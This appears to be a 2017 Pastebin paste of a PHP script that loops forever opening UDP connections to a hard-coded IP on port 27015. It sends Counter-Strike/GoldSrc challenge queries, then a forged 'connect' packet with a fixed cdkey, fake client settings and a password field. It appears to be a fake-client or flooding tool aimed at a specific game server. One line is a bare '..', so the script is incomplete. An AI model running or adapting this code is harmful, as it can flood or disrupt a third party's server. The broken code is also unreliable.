krot

cs

Nov 21st, 2017
101
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. set_time_limit(0);
  3. ignore_user_abort(true);
  4.  
  5. while(true){
  6. $fp = fsockopen( 'udp://46.174.55.206', 27015, $errno, $errstr, 0 );
  7.         // Ждем ответа от сервера, читаем данные только при полном ответе.
  8.         stream_set_timeout( $fp, 1, 0 );
  9.         stream_set_blocking( $fp, true );
  10.        
  11.         //fwrite($fp, "\xFF\xFF\xFF\xFFTSource Engine Query\x00");
  12.        
  13.         //echo  fread( $fp, 4096 );
  14.         //echo  fread( $fp, 4096 );
  15.                
  16.         fwrite($fp, "\xFF\xFF\xFF\xFF\x55\xff\xff\xff\xff\x00");//A2S_SERVERQUERY_GETCHALLENGE
  17.        
  18.         $rs=fread( $fp, 4096 );
  19.             echo  strToHex($rs);
  20.             echo ':';
  21.             echo urlencode($rs);
  22.             echo '<br>';
  23.  
  24.        
  25.            /*fwrite($fp,"\xFF\xFF\xFF\xFF\x69\x00");//ping
  26.             $rs=fread( $fp, 4096 );
  27.             echo  strToHex($rs);
  28.             echo ':';
  29.             echo urlencode($rs);
  30.             echo '<br>';*/
  31.  
  32.  
  33.            
  34.            
  35.            fwrite($fp,"\xFF\xFF\xFF\xFFgetchallenge steam\x0A");//запрос на подлючение к серверу
  36.             $rs=fread( $fp, 4096 );
  37.             echo  strToHex($rs);
  38.             echo ':';
  39.             echo urlencode($rs);
  40.             echo '<br>';
  41.            
  42.  
  43.             $tmp=explode(' ',$rs);
  44.            
  45.             $ID= $tmp[1];
  46.     $protocol=48;      
  47.        
  48. //http://www.securitylab.ru/analytics/216301.php)
  49.  
  50. fwrite($fp,"\xff\xff\xff\xff".
  51. "connect $protocol $ID ".
  52. '"\prot\3\unique\-1\raw\steam\cdkey\9658122c9c3cdb81044bce0eb203bd47" "\_cl_autowepswitch\1\bottomcolor\6XYWIaEB3oa\cl_dlmax\80\cl_lc\1\cl_lw\1\cl_updaterate\71\model\gordon\name\star\topcolor\30\_rspass\PASWORD1\_ah\0\_gm\eef2\translit\1\_vgui_menus\0\rate\15000"'
  53. ."\0A");
  54.  
  55. ..
  56.  
  57.  
  58. }
  59.  
  60.  
  61.  
  62.    
  63.        
  64.        
  65.        function strToHex($string){
  66.     $hex='';
  67.     for ($i=0; $i < strlen($string); $i++){
  68.         $hex .= dechex(ord($string[$i]));
  69.     }
  70.     return $hex;
  71. }
RAW Paste Data